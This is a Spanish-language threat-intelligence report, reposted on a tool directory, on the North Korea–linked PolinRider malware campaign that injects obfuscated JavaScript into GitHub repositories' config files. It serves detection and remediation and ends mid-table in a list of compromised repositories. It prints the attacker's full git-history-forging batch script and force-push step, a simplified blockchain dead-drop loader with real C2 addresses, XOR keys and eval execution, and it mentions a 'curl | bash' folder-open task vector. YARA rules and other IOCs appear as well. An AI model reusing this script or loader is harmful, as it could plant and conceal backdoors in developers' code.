Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/opensourcemalware/polinrider
Gestión de Indicadores de Compromiso (IOC)OSINT (Inteligencia de Fuentes Abiertas)Análisis de VulnerabilidadesAnálisis de CódigoAnálisis ForenseAnálisis de MalwareInteligencia de AmenazasSeguridad de Cadena de SuministroAprendizaje y Educación

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Respuesta a Incidentes
Recursos Curados
GitHubopensourcemalware/polinrider

PolinRider

Dossier técnico sobre el ataque a la cadena de suministro PolinRider vinculado a la RPDC, que documenta la inyección de payload JS ofuscado, la manipulación del historial de git, la infraestructura C2 y la guía de remediación para 1,951 repositorios comprometidos.

Ver Repositorio
788hace 1 mesRevisado por Kitploit

PolinRider: Actor de amenazas de Corea del Norte implanta malware en cientos de repositorios de GitHub

PolinRider Threat Campaign

  • Fecha: 2026-03-07
  • Última actualización: 2026-04-11 — consulte la Actualización del 10 al 11 de abril más abajo
  • Gravedad: CRÍTICO — infección activa de la cadena de suministro en más de 1.950 repositorios públicos, fusión operativa confirmada con el clúster TasksJacker / Contagious Interview

El equipo de OpenSourceMalware ha descubierto una campaña masiva de amenazas que está implantando malware en repositorios de usuarios y organizaciones de GitHub. El actor de amenazas, PolinRider, ha implantado cargas útiles maliciosas de JavaScript ofuscado en cientos de repositorios públicos de GitHub pertenecientes a cientos de propietarios únicos. Utilice la etiqueta #polinrider para ver todos los informes de amenazas relacionados con esta campaña, y salte al final de este blog para ver la lista de repositorios comprometidos, incluidos aquellos que recomendamos priorizar para una acción inmediata. Tenga en cuenta que la etiqueta es la mejor manera de obtener datos actualizados.

La carga útil de JavaScript se agrega al final de los archivos de configuración reales del proyecto, silenciosamente, después del contenido legítimo del archivo, lo que facilita pasarlo por alto durante una revisión de código casual. El vector de infección principal parece ser un paquete npm comprometido que se ejecuta durante la instalación o compilación y se inyecta en los archivos de configuración en la raíz del proyecto. Peor aún, este actor de amenazas ha utilizado la misma técnica para crear paquetes NPM maliciosos también.

Este ataque ha sido enormemente exitoso, con un proyecto de código abierto comprometido, Neutralinojs, propagando el malware a cientos de sus usuarios y contribuyentes. Neutralinojs es un proyecto muy popular con 8400 estrellas, 495 bifurcaciones y docenas de contribuyentes activos. Este es el poder de este tipo de ataque, ya que la amenaza no se limita solo a los repositorios iniciales de GitHub, sino que se extiende a todos los demás proyectos que utilizan ese código abierto.

El equipo de OpenSourceMalware ha atribuido esta campaña a Corea del Norte, y el actor de amenazas PolinRider es un conocido colaborador del grupo Lazarus con conexiones con las campañas "Contagious Interview" y "TasksJacker".

Estadísticas de impacto

Esta campaña ha crecido drásticamente desde su primera publicación. A partir del 2026-04-11, el equipo de OSM ha confirmado que 1.951 repositorios públicos de GitHub pertenecientes a 1.047 propietarios únicos están comprometidos. Esto es un aumento de 2.9× en las cinco semanas desde la fecha de publicación original (8 de marzo: 675 repos / 352 propietarios).

GitHub Repos Compromised


Actualización del 10 al 11 de abril

En una caza de seguimiento iniciada el 2026-04-10 y continuada hasta el 2026-04-11, el equipo de OSM realizó varios hallazgos importantes:

  1. La campaña se ha más que duplicado en 5 semanas. La enumeración entre motores a través de GitHub Code Search y Sourcegraph (con refinamiento más allá del límite de 1000 resultados de la API — ver metodología abajo) encontró 1.556 repositorios únicos comprometidos en nuestro maestro v3 en el primer día. Una segunda ronda de caza en el segundo día agregó otros 215 nuevos repos a través de pivotes de nombres de paquetes npm, pivotes de tareas.json de VS Code / proveedor de nube, y el subdominio C2 recién descubierto default-configuration.vercel.app. Después de deduplicar contra el corpus existente affected_repos.csv, el alcance conocido real es ahora 1.951 repositorios víctima únicos / 1.047 propietarios únicos.

  2. Se ha observado una nueva variante. PolinRider ha rotado todas las huellas dactilares únicas de su ofuscador mientras preserva la arquitectura. La nueva variante utiliza el marcador de firma Cot%3t=shtP (anteriormente rmcej%otb%), semilla de barajado 1111436 (anteriormente 2857687), semilla secundaria 3896884 (anteriormente 2667686), y nombre de función decodificadora MDy (anteriormente _$_1e42). Esta rotación parece ser una respuesta de evasión a la regla YARA publicada. Ambas variantes están actualmente activas en la naturaleza. Consulte más abajo.

Los informes completos de la caza v3 + ronda 2 y los TSV maestros están en reports/.


Detalles del ataque en GitHub

El actor de amenazas no está utilizando credenciales robadas de GitHub. En cambio, las víctimas han sido comprometidas a través de una extensión maliciosa de VS Code o un paquete NPM. Aún no sabemos cuál es ese vector inicial, pero sabemos lo que hace a partir de la evidencia forense.

Lo primero que sucede es que el malware ejecuta una función de búsqueda en la computadora local que busca ciertos archivos como:

  • postcss.config.mjs
  • tailwind.config.js
  • eslint.config.mjs
  • next.config.mjs
  • babel.config.js
  • App.js
  • app.js

Si encuentra uno de esos archivos, agregará código JavaScript malicioso altamente ofuscado al final de ese archivo. A continuación, el malware instala un archivo por lotes de Windows, llamado temp_auto_push.bat. Sabemos que este archivo existe y qué hace porque los actores de amenazas lo han dejado en cientos de servidores comprometidos, lo que brinda a los investigadores una huella digital para buscar. Aquí está el archivo por lotes en su totalidad:``` @echo off for /f "delims=" %%A in ('cmd /c "git log -1 --date=format-local:%%Y-%%m-%%d --format=%%cd"') do set LAST_COMMIT_DATE=%%A for /f "delims=" %%A in ('cmd /c "git log -1 --date=format-local:%%H:%%M:%%S --format=%%cd"') do set LAST_COMMIT_TIME=%%A for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%s"') do set LAST_COMMIT_TEXT=%%A for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%an"') do set USER_NAME=%%A for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%ae"') do set USER_EMAIL=%%A for /f "delims=" %%A in ('git rev-parse --abbrev-ref HEAD') do set CURRENT_BRANCH=%%A echo %LAST_COMMIT_DATE% %LAST_COMMIT_TIME% echo %LAST_COMMIT_TEXT% echo %USER_NAME% (%USER_EMAIL%) echo Branch: %CURRENT_BRANCH% set CURRENT_DATE=%date% set CURRENT_TIME=%time% date %LAST_COMMIT_DATE% time %LAST_COMMIT_TIME% echo Date temporarily changed to %LAST_COMMIT_DATE% %LAST_COMMIT_TIME% git config --local user.name %USER_NAME% git config --local user.email %USER_EMAIL% git add . git commit --amend -m "%LAST_COMMIT_TEXT%" --no-verify date %CURRENT_DATE% time %CURRENT_TIME% echo Date restored to %CURRENT_DATE% %CURRENT_TIME% and complete amend last commit! git push -uf origin %CURRENT_BRANCH% --no-verify @echo on

root@kitploit:~
### Análisis del Archivo Batch

Este archivo batch **reescribe el commit más reciente de git mientras conserva su marca de tiempo original** — efectivamente haciendo que un commit enmendado parezca que nunca fue tocado.

#### Fase 1: Extraer Metadatos del Último Commit

Ejecuta `git log -1` cinco veces para obtener los detalles del último commit en variables de entorno:

| Variable | Valor capturado |
|---|---|
| `LAST_COMMIT_DATE` | Fecha del último commit (YYYY-MM-DD) |
| `LAST_COMMIT_TIME` | Hora del último commit (HH:MM:SS) |
| `LAST_COMMIT_TEXT` | Mensaje del commit |
| `USER_NAME` | Nombre del autor |
| `USER_EMAIL` | Correo electrónico del autor |
| `CURRENT_BRANCH` | Nombre de la rama actual |

#### Fase 2: Mostrar Información Extraída

Muestra esos valores en la consola para que puedas ver lo que se capturó antes de continuar.

#### Fase 3: El Truco de la Marca de Tiempo (Manipulación Central)

1. Guarda la fecha y hora *actuales* del sistema en variables
2. **Cambia el reloj del sistema de Windows** para que coincida con la fecha y hora del último commit
3. Establece el `user.name` y `user.email` locales de git para que coincidan con el autor del commit original

#### Fase 4: Enmendar el Commit```bat
git add .
git commit --amend -m "%LAST_COMMIT_TEXT%" --no-verify

Debido a que el reloj del sistema se retrocedió, git registra la confirmación enmendada con la marca de tiempo original, haciendo que parezca no modificada en el historial. --no-verify omite cualquier gancho de pre-commit.

Fase 5: Restaurar y Enviar

  1. Restaura el reloj del sistema a la fecha/hora real actual
  2. Realiza un push forzado a la rama remota con -uf y --no-verify para omitir los ganchos de push

En Términos Simples

Este script te permite modificar silenciosamente la última confirmación (agregando o cambiando archivos) mientras hace que la confirmación reescrita parezca tener el mismo autor, marca de tiempo y mensaje que antes. Para cualquier observador que mire el historial de git, parece que la confirmación nunca fue enmendada.

Características Notables

  • Requiere privilegios elevados para cambiar el reloj del sistema de Windows
  • Push forzado (-uf) sobrescribirá el historial remoto — destructivo para cualquier otra persona en la rama
  • Ambas banderas --no-verify omiten intencionalmente cualquier gancho de CI/CD o comprobaciones de lint
  • Es esencialmente una herramienta de falsificación de historial — útil para limpieza legítima, pero igualmente útil para ocultar rastros

¿Qué pasa con Linux y MacOS?

Asumimos que el malware tiene funciones similares para reescribir el historial de git en otros sistemas operativos como Linux y MacOS. De hecho, hemos visto evidencia de que está ocurriendo en otros sistemas operativos, pero los actores de amenazas no han dejado herramientas que funcionen en esas otras plataformas en el código fuente como lo han hecho para Windows.


Acciones Recomendadas

Para propietarios de repositorios afectados:

  1. Auditar todos los archivos de configuración JS (postcss.config.*, tailwind.config.*, eslint.config.*, next.config.*, vite.config.*, webpack.config.js, gridsome.config.js, vue.config.js, etc.) en busca de contenido que aparezca después de export default o module.exports. También verificar ramas no predeterminadas y rutas anidadas de monorepo (apps/*/, frontend/, client/, web/, etc.) — muchas víctimas están infectadas solo en rutas profundas.

Para herramientas de seguridad / registros:

  • Agregar la regla YARA polinrider_payload de múltiples variantes (abajo) a los pipelines de análisis estático — cubre ambas variantes rmcej%otb% y Cot%3t=shtP.
  • Marcar paquetes con scripts postinstall que escriban en archivos de configuración de la raíz del proyecto.
  • Hacer referencias cruzadas de los propietarios de repositorios afectados con paquetes npm publicados recientemente, especialmente en el ecosistema Tailwind/PostCSS.
  • Agregar filename:temp_auto_push.bat y LAST_COMMIT_DATE LAST_COMMIT_TIME extension:bat como consultas de monitoreo continuo en GitHub Code Search.

Verificar PolinRider con el script de OSM

Nuestro equipo ha escrito un script bash que verificará tu sistema local en busca de compromiso. Al final de esta publicación de blog puedes obtener más información, o puedes revisar el script aquí


Tipos de Archivos Infectados

La actualización del 10 de abril expandió significativamente la lista de tipos de archivos. El malware se dirige a un conjunto más amplio de archivos de la familia JS de lo documentado originalmente, y se ha observado dentro de activos binarios como archivos de fuente .woff2. Los recuentos a continuación reflejan el corpus del 2026-04-10 de 1,736 repositorios únicos.

El dominio de postcss.config.mjs (~62% de los repositorios en ambos puntos de datos) continúa señalando al ecosistema PostCSS/Tailwind como el vector de infección principal. Las entradas recién observadas — vite.config.*, webpack.config.js, gridsome.config.js, vue.config.js, truffle.js, y archivos binarios .woff2 — muestran que el malware ha expandido sus heurísticas de selección de archivos o que el actor de amenazas está utilizando múltiples vehículos de paquetes npm para alcanzar a víctimas que usan diferentes herramientas de compilación.

El artefacto del script de propagación temp_auto_push.bat ha sido dejado en 101 repositorios de víctimas, incluso en casos donde la carga útil JS ha sido limpiada posteriormente por el propietario. Este archivo es uno de los indicadores de más alta confianza de compromiso pasado.


Paquetes NPM Maliciosos

Paquete NPM tailwind-mainanimation

El actor de amenazas ha publicado varios paquetes NPM maliciosos, todos suplantando utilidades adyacentes a Tailwind/PostCSS. A partir del 2026-04-11, las cuentas npm allavin y blackedward han sido eliminadas de npm y sus paquetes eliminados, pero los repositorios de víctimas existentes aún contienen las referencias de dependencia y (en muchos casos) aún tienen el malware inyectado post-instalación en sus archivos de configuración.

La caza del 11 de abril confirmó que tailwindcss-style-animate ^1.1.6 es la dependencia maliciosa principal de la plantilla de entrevista falsa ShoeVista — 34 de los 46 aciertos de pivote de paquetes npm son recargas de desarrolladores de esa plantilla con esa dependencia exacta. Los otros paquetes en la lista son utilizados por campañas hermanas (por ejemplo, tailwind-autoanimation en el clúster devhire-frontend y reactapp-6).

Los investigadores que buscan pivotear a través del árbol de dependientes de npm deben notar que este pivote ya no es viable para tailwind-mainanimation — npm ha eliminado la versión maliciosa en vivo. En su lugar, pivoten mediante consultas de búsqueda de código de GitHub como "<package_name>" filename:package.json, que aún devuelven las referencias fantasma en repositorios de víctimas.

Paquetes NPM

El paquete tailwind-autoanimation utiliza la misma técnica exacta de agregar la carga útil JavaScript maliciosa al final del archivo de punto de entrada src/index.js:

Carga útil de NPM


Resumen del Malware

PolinRider entrega una carga útil de múltiples etapas, que culmina en una nueva versión del malware Beavertail de DPRK. La carga útil inicial es una puerta trasera/robador de información de compromiso masivo que inyecta una carga útil JavaScript ofuscada en los repositorios de desarrolladores legítimos. La carga útil se agrega después de un relleno de espacios en blanco a archivos de configuración comunes (postcss.config.mjs, eslint.config.mjs, tailwind.config.js, etc.) para que se ejecute automáticamente cuando las herramientas de compilación importan el módulo. Utiliza una rutina de desofuscación de mezcla de cadenas de múltiples capas, que finalmente construye y evalúa la carga útil final en tiempo de ejecución.

El equipo de OSM ha observado hasta ahora dos variantes activas de este ofuscador con huellas digitales únicas rotadas:

  • Variante original (publicación del 8 Mar): firma ("rmcej%otb%",2857687), función decodificadora _$_1e42, semilla secundaria 2667686, marcador de inyección global['!'].
  • Nueva variante (actualización del 10 Abr): firma Cot%3t=shtP, semilla de mezcla 1111436, función decodificadora MDy, semilla secundaria 3896884, marcador de inyección global['_V']='8-XXX'. Misma arquitectura, todas las constantes únicas rotadas — casi con certeza una respuesta de evasión a la regla YARA publicada rmcej_otb_payload.

Ambas variantes utilizan la misma infraestructura C2 de depósito muerto de blockchain (TRON / Aptos / BSC) con las mismas claves XOR, y ambas están actualmente activas en la naturaleza.

Esta carga útil final es un resolvedor de depósito muerto basado en blockchain sofisticado que utiliza transacciones de blockchain inmutables como infraestructura de Comando y Control (C2). El malware obtiene cargas útiles JavaScript cifradas de cuentas de blockchain (TRON, Aptos y BSC), las descifra usando cifrado XOR y las ejecuta mediante eval(). Esta técnica hace que la infraestructura C2 sea virtualmente imposible de derribar, ya que los datos de blockchain son inmutables.


¿Qué Hace?

Funcionalidad Principal

  1. Comunicación C2 basada en Blockchain

    • Consulta cuentas de blockchain TRON para obtener datos de transacciones
    • Recurre a la blockchain de Aptos si TRON falla
    • Puede consultar transacciones de Binance Smart Chain (BSC)
    • Recupera cargas útiles JavaScript cifradas de transacciones de blockchain
  2. Descifrado de Carga Útil

    • Utiliza cifrado XOR con claves fijas para descifrar cargas útiles
    • Dos claves XOR diferentes para diferentes etapas/alternativas
  3. Ejecución Remota de Código

    • Ejecuta código descifrado mediante eval()
    • Genera procesos hijos separados para persistencia
    • La ejecución de código ocurre sin interacción del usuario
  4. Funciones Antianálisis

    • Múltiples capas de ofuscación (4+ capas)
    • Cifrado de cadenas y sustitución de caracteres
    • Técnica de resolvedor de depósito muerto (difícil de atribuir)
    • Ejecución de procesos separados (sobrevive a la terminación del padre)

Análisis Técnico del Malware

El equipo de OSM describió la cadena de ataque completa para este malware en nuestro blog sobre el reciente compromiso de Neutralinojs.

Capas de Ofuscación

El malware utiliza cuatro capas de ofuscación:

Capa 1: Algoritmo de intercambio de caracteres con semilla 2857687

  • Desofusca a arreglo: ['r', 'object', 'm'] (require, typeof check, module)

Capa 2: Intercambio de caracteres con semilla 2667686

  • Desofusca nombres de funciones y constantes de cadena
  • Revela el código de la función decodificadora

Capa 3: Cifrado de sustitución personalizado

  • Mapeo de caracteres usando códigos especiales
  • Reemplaza marcadores como .c, .a, etc. con caracteres reales
  • Códigos de caracteres: \, `, espacio, nueva línea, *, ', y más

Capa 4: Cifrado XOR para cargas útiles finales

  • Las cargas útiles recuperadas de blockchain están cifradas con XOR
  • Dos claves fijas para diferentes etapas

Nueva Variante: Cot%3t=shtP

En abril de 2026, el equipo de OSM identificó una segunda variante activa del ofuscador PolinRider. La arquitectura es idéntica a la original — mismo cifrado de mezcla de 4 capas, mismo C2 de depósito muerto de blockchain, misma segunda etapa Beavertail de múltiples etapas — pero cada cadena de huella digital única ha sido rotada, casi con certeza en respuesta a la regla YARA publicada rmcej_otb_payload.

La nueva variante utiliza una línea adicional de marcador de inyección: global['_V']='8-XXX' (donde 8-XXX es una etiqueta de versión por inyección, por ejemplo, 8-st1, 8-st2, …, 8-st59, más un lote numérico paralelo como 8-413, 8-683, 8-778, 8-974). Las etiquetas secuenciales '8-stN' son la evidencia más fuerte del equipo de OSM de que la herramienta del actor de amenazas asigna un ID numérico por víctima y que existen al menos 59 inyecciones secuenciales de esta variante (algunas aún no indexadas por la búsqueda pública de código).

Hallazgo notable entre variantes

Al menos un repositorio — HassanHabibTahir/testclient — contiene marcadores de AMBAS variantes en diferentes archivos (rmcej%otb% en postcss.config.mjs y global['_V'] en otro archivo), lo que indica que la herramienta del actor de amenazas se está reejecutando contra hosts previamente comprometidos con el ofuscador rotado. Los defensores no deben asumir que un repositorio una vez limpiado permanece limpio.

Plantillas de Prueba Casera Armadas

Además de los vectores de entrega de paquetes npm y .vscode/tasks.json, el actor de amenazas de PolinRider ha creado al menos dos proyectos falsos de prueba casera distribuidos a candidatos a través de señuelos de entrevistas de trabajo falsas (el clásico manual de Contagious Interview). Estas plantillas de proyecto vienen precargadas con dependencias maliciosas o cargas útiles de tasks.json, de modo que simplemente clonar y ejecutar el proyecto desencadena la infección.

ShoeVista (plantilla de comercio electrónico Tailwind)

  • Nombre de la plantilla: ShoeVista (también vista como shoevista, shoe-vista, Test-west-shoe, Test-002, product-catalog, mern-app, varios forks con nombres de candidatos)
  • Stack: Frontend React en client/, backend Node/Express en server/ (prueba casera MERN típica)
  • Vector de entrega: Dependencia npm maliciosa "tailwindcss-style-animate": "^1.1.6" en client/package.json
  • Campo name de package.json: "client" (genérico — la marca ShoeVista está en el README / página de aterrizaje de la empresa falsa)

StakingGame (plantilla de automatización de VS Code + blockchain)

  • Huella digital de la plantilla: el archivo tasks.json contiene "projectInfo": { "name": "StakingGame", "description": "Advanced VSCode automation for multi-environment blockchain deployment.", "uuid": "e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9" } — el UUID es constante en todas las víctimas y es el indicador más fuerte de esta plantilla
  • Vector de entrega: .vscode/tasks.json armado con runOn: folderOpen ejecutando curl | bash contra default-configuration.vercel.app y los otros subdominios C2 de Vercel recién descubiertos
  • Repositorios de víctimas observados: 42+ coincidencias directas de UUID más un uso más amplio de tasks.json. Ejemplos: Devba/lmng-top-, wyrustaaruz/cal-eco-platform
  • Tema: posicionado como una evaluación de desarrollador de blockchain/juego de apuestas; atractivo para candidatos de Web3

Implicaciones

La existencia de plantillas de proyecto pre-armadas significa:

  • Los desarrolladores que completan 'pruebas caseras' de reclutadores no verificados son un vector de infección primario. Esto no es solo un ataque a la cadena de suministro de npm; es un ataque de ingeniería social en el mercado laboral.
  • Las cuentas de víctimas no son desarrolladores previamente comprometidos. Son cuentas de candidatos nuevas creadas específicamente para completar una prueba. Esto explica el gran número de repositorios de víctimas con 0 estrellas / 0 forks y edades de cuenta < 1 año.
  • Los defensores que buscan víctimas deben incluir patrones de nombres de candidatos (test-*, *-test, *-interview, *-assessment, *-task) en sus heurísticas de búsqueda.

Flujo de Ejecución```

  1. Malware loads when NPM package is imported or the source code is run by Node
  2. Deobfuscates internal strings and function names
  3. Queries TRON blockchain account for latest transaction ├─ URL: https://api.trongrid.io/v1/accounts/TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP/transactions └─ Extracts transaction data containing encrypted payload
  4. If TRON fails, queries Aptos blockchain ├─ URL: https://fullnode.mainnet.aptoslabs.com/v1/accounts/0xbe037.../transactions └─ Extracts payload from transaction arguments
  5. XOR-decrypts the payload using key "2[gWfGj;<:-93Z^C"
  6. Executes decrypted code via eval()
  7. Spawns detached child process for persistence ├─ Command: node -e "" └─ Detached: true, windowsHide: true
  8. If first set fails, repeats with secondary addresses and key
root@kitploit:~
### Estructura del Código```javascript
// Simplified structure (actual code is heavily obfuscated)

async function fetchPayloadFromTron(address) {
    // Queries TRON API for account transactions
    const response = await https.get(
        `https://api.trongrid.io/v1/accounts/${address}/transactions?only_confirmed=true&only_from=true&limit=1`
    );
    // Extracts encrypted data from transaction
    return response.data[0].raw_data.data;
}

async function fetchPayloadFromAptos(txHash) {
    // Queries Aptos API for transaction details
    const response = await https.get(
        `https://fullnode.mainnet.aptoslabs.com/v1/accounts/${txHash}/transactions?limit=1`
    );
    // Extracts payload from transaction arguments
    return response[0].payload.arguments[0];
}

function xorDecrypt(encryptedData, key) {
    // XOR decryption with repeating key
    let result = '';
    for (let i = 0; i < encryptedData.length; i++) {
        const keyChar = key.charCodeAt(i % key.length);
        result += String.fromCharCode(encryptedData.charCodeAt(i) ^ keyChar);
    }
    return result;
}

// Main execution
const encryptedPayload = await fetchPayloadFromTron("TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP");
const decryptedCode = xorDecrypt(encryptedPayload, "2[gWfGj;<:-93Z^C");
eval(decryptedCode);  // EXECUTES ARBITRARY CODE

// Persistence via detached child process
require('child_process').spawn('node', ['-e', `global['_V']='...'${decryptedCode}`], {
    detached: true,
    stdio: 'ignore',
    windowsHide: true
});

Infraestructura C2 (Indicadores de Compromiso)

Endpoints HTTP C2 alojados en Vercel (vector del lado de TasksJacker)

Usados en payloads .vscode/tasks.json curl | bash con runOn: folderOpen. Todos siguen la forma de URL https://<sub>.vercel.app/settings/(mac|linux|win)?flag=<N>. Estos son los servidores bootstrap controlados por el atacante que entregan el cargador JS PolinRider a las víctimas de VS Code.

Los cinco dominios vscode-* / default-configuration fueron descubiertos en la búsqueda del 10–11 de abril y ahora forman parte del conjunto de consultas de caza OSM. Espere más subdominios hermanos, ya que los dominios de Vercel son baratos/descartables para el actor de amenazas.

Direcciones Blockchain (dead-drop de segunda etapa del cargador PolinRider-JS)

Direcciones TRON (C2 primario)

  • TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP (Primario)
  • TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG (Secundario)

Endpoint de API: https://api.trongrid.io/v1/accounts/

Hash de transacciones Aptos (C2 de respaldo)

  • 0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e (Primario)
  • 0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3 (Secundario)

Endpoint de API: https://fullnode.mainnet.aptoslabs.com/v1/accounts/

Nodos RPC de BSC

  • bsc-dataseed.binance.org
  • bsc-rpc.publicnode.com

Método: eth_getTransactionByHash

Claves de descifrado XOR

  • Clave primaria: 2[gWfGj;<:-93Z^C
  • Clave secundaria: m6:tTh^D)cBz?NM]

UUID de la plantilla StakingGame

  • e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9 — aparece en el campo projectInfo.uuid del .vscode/tasks.json malicioso para la plantilla de entrevista falsa de StakingGame. Muy específico; 0 falsos positivos en pruebas.

Regla YARA (Sugerida) — cubre ambas variantes

La regla original rmcej_otb_payload (aún válida para la variante original) ha sido reemplazada por una regla multivariante que captura tanto la cepa original rmcej%otb% como la cepa rotada Cot%3t=shtP. Use esta en los pipelines de análisis estático.```yara rule polinrider_payload { meta: description = "Detects PolinRider shuffle-cipher JS payloads — both rmcej%otb% (v1) and Cot%3t=shtP (v2) variants" author = "OpenSourceMalware.com" date = "2026-04-10" severity = "high"

root@kitploit:~
strings:
    // Original variant (rmcej%otb%)
    $marker_v1   = "rmcej%otb%"
    $seed1_v1    = "2857687"
    $seed2_v1    = "2667686"
    $varname_v1  = "_$_1e42"
    $global_bang = "global['!']"

    // New variant (Cot%3t=shtP)
    $marker_v2   = "Cot%3t=shtP"
    $seed1_v2    = "1111436"
    $seed2_v2    = "3896884"
    $varname_v2  = "MDy"
    $global_V    = "global['_V']"

    // Common across variants
    $global_r    = "global['r'] = require"
    $global_m    = "global['m'] = module"

condition:
    any of ($marker_*) or
    ($global_bang and ($seed1_v1 or $varname_v1)) or
    ($global_V    and ($seed1_v2 or $varname_v2)) or
    ($global_r and $global_m and (any of ($seed1_*)))

}

root@kitploit:~
### Regla YARA (Legado) — solo variante original```yara
rule rmcej_otb_payload {
    meta:
        description = "Detects rmcej%otb% shuffle-cipher JS payload injected into config files (original variant only)"
        author = "OpenSourceMalware.com"
        date = "2026-03-07"
        severity = "high"

    strings:
        $marker   = "rmcej%otb%"
        $global   = "global['!']"
        $seed1    = "2857687"
        $seed2    = "2667686"
        $varname  = "_$_1e42"

    condition:
        $marker or ($global and $seed1) or ($varname and $seed2)
}

Recopilación de datos (8 de marzo — método original)

Los datos se recopilaron utilizando la API de Búsqueda de Código de GitHub mediante gh search code, ejecutando una consulta por nombre de archivo infectado para sortear el límite de 1,000 resultados por consulta. Los resultados se deduplicaron por nombre completo del repositorio.

Metodología de refinamiento (10 de abril — método ampliado)

La búsqueda del 10 de abril amplió la recopilación de datos combinando cinco pivotes ortogonales y aplicando una estrategia de partición por extensión/tamaño/fork para superar el límite de 1,000 resultados por consulta de la Búsqueda de Código de GitHub en el pivote más potente.

Pivotes utilizados en la búsqueda del 10–11 de abril

Superando el límite de 1,000 resultados

La consulta del nombre de función decodificadora _$_1e42 informó total_count: 968 y se limitó a 1,000 elementos devueltos, pero la interfaz web de GitHub mostraba más de 1,400 coincidencias. Refinar en subconsultas ortogonales que cada una se mantenga por debajo de 1,000 resultados, y luego tomar la unión, rompió el límite:

Tres hallazgos cruciales de este ejercicio:

  1. La mayor brecha oculta fueron los forks. La Búsqueda de Código de GitHub excluye los forks por defecto (fork:false). Agregar fork:true reveló 157 repositorios fork que contenían el marcador y que eran completamente invisibles para la consulta original.
  2. Subdividir el rango size:5000..10000 en segmentos de 1KB arrojó 986 resultados frente a los 968 informados en el bucket — incluso dentro de un total informado inferior a 1000, el límite puede ocultar entradas. El enfoque correcto es el agrupamiento recursivo hasta que cada bucket esté muy por debajo del límite.
  3. Las divisiones por extension: generan más resultados totales que las divisiones por language: porque la detección de lenguaje de GitHub a veces excluye .mjs y .cjs del bucket de JavaScript.

Unión entre motores (alcance real)

Combinar los datos de la búsqueda del 10–11 de abril con el affected_repos.csv existente produce el corpus real actualmente conocido:

Tasa de falsos positivos verificada por muestreo

En 44 muestras aleatorias tomadas en ambas rondas de la búsqueda, se observaron 0 falsos positivos. Cada repositorio muestreado contenía al menos uno de los invariantes de PolinRider (rmcej%otb%, Cot%3t=shtP, _$_1e42, MDy, global['!'], global['_V'], LAST_COMMIT_DATE dentro de un .bat de propagación, un paquete npm malicioso conocido en package.json, o un .vscode/tasks.json con un curl | bash a uno de los subdominios C2 conocidos) en el archivo en la ruta del pivote indexado.

La ronda 2 introdujo específicamente dos nuevas clasificaciones de variantes en la taxonomía de envíos:

  • malicious_npm: el repositorio contiene uno de los 7 paquetes npm maliciosos conocidos en un package.json (45 envíos — casi todos re-subidas de la plantilla ShoeVista).
  • tasksjacker: el repositorio contiene un .vscode/tasks.json con una tarea runOn: folderOpen que ejecuta curl | bash o wget | sh contra un subdominio C2 de Vercel/Render/Railway (27 envíos — incluye el clúster de la plantilla StakingGame).

Archivos


Repositorios comprometidos

Todos los repositorios comprometidos se pueden encontrar a través de la etiqueta OpenSourceMalware #polinrider.

Priorización de divulgación

Los CSV completos están ordenados por impacto para la clasificación.

Principales repositorios por estrellas + forks

Principales organizaciones por seguidores

Principales usuarios individuales por seguidores

Objetivos prioritarios: sparktechagency (130 seguidores, 12 repos) y FSDTeam-SAA (21 seguidores, 12 repos) son las organizaciones de mayor volumen. Entre los individuos, coderkhalide (349 seguidores) tiene el alcance directo más amplio.


Todos los repositorios comprometidos a fecha del 8 de marzo de 2026| # | Repositorio | Propietario | Tipo de Propietario | Estrellas | Bifurcaciones | Archivos Infectados | Rutas de Archivos | Descripción | URL del Repositorio |

| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | | 1 | Codechef-VITC-Student-Chapter/Club-Integration-and-Management-Platform | Codechef-VITC-Student-Chapter | Organization | 6 | 11 | 1 | Client/postcss.config.mjs | | https://github.com/Codechef-VITC-Student-Chapter/Club-Integration-and-Management-Platform | | 2 | sparktechagency/Vap-shop-Front-End- | sparktechagency | Organization | 7 | 0 | 1 | postcss.config.mjs | VapeShopMaps – Una plataforma social y de comercio electrónico B2B que conecta usuarios, tiendas, marcas y mayoristas con funciones sociales en tiempo real y optimización SEO avanzada. | https://github.com/sparktechagency/Vap-shop-Front-End- | | 3 | MIS-Silekta/silekta-frontend | MIS-Silekta | Organization | 1 | 3 | 1 | postcss.config.mjs | Este es el repositorio frontend de la empresa silekta para el módulo MIS. | https://github.com/MIS-Silekta/silekta-frontend | | 4 | UzairOrganization/allTask | UzairOrganization | Organization | 0 | 2 | 1 | postcss.config.mjs | | https://github.com/UzairOrganization/allTask | | 5 | FSDTeam-SAA/nico41278-frontend | FSDTeam-SAA | Organization | 0 | 2 | 1 | postcss.config.mjs | | https://github.com/FSDTeam-SAA/nico41278-frontend | | 6 | FSDTeam-SAA/cstrat_frontend | FSDTeam-SAA | Organization | 1 | 1 | 1 | postcss.config.mjs | | https://github.com/FSDTeam-SAA/cstrat_frontend | | 7 | SoftySkills/quiz_app | SoftySkills | Organization | 3 | 0 | 1 | postcss.config.mjs | | https://github.com/SoftySkills/quiz_app | | 8 | dawahanigeria-team/rayyan-server | dawahanigeria-team | Organization | 3 | 0 | 1 | eslint.config.mjs | Servidor de la App Rayyan | https://github.com/dawahanigeria-team/rayyan-server | | 9 | FSDTeam-SAA/sahara_53 | FSDTeam-SAA | Organization | 0 | 1 | 1 | postcss.config.mjs | Build a Story Time es una 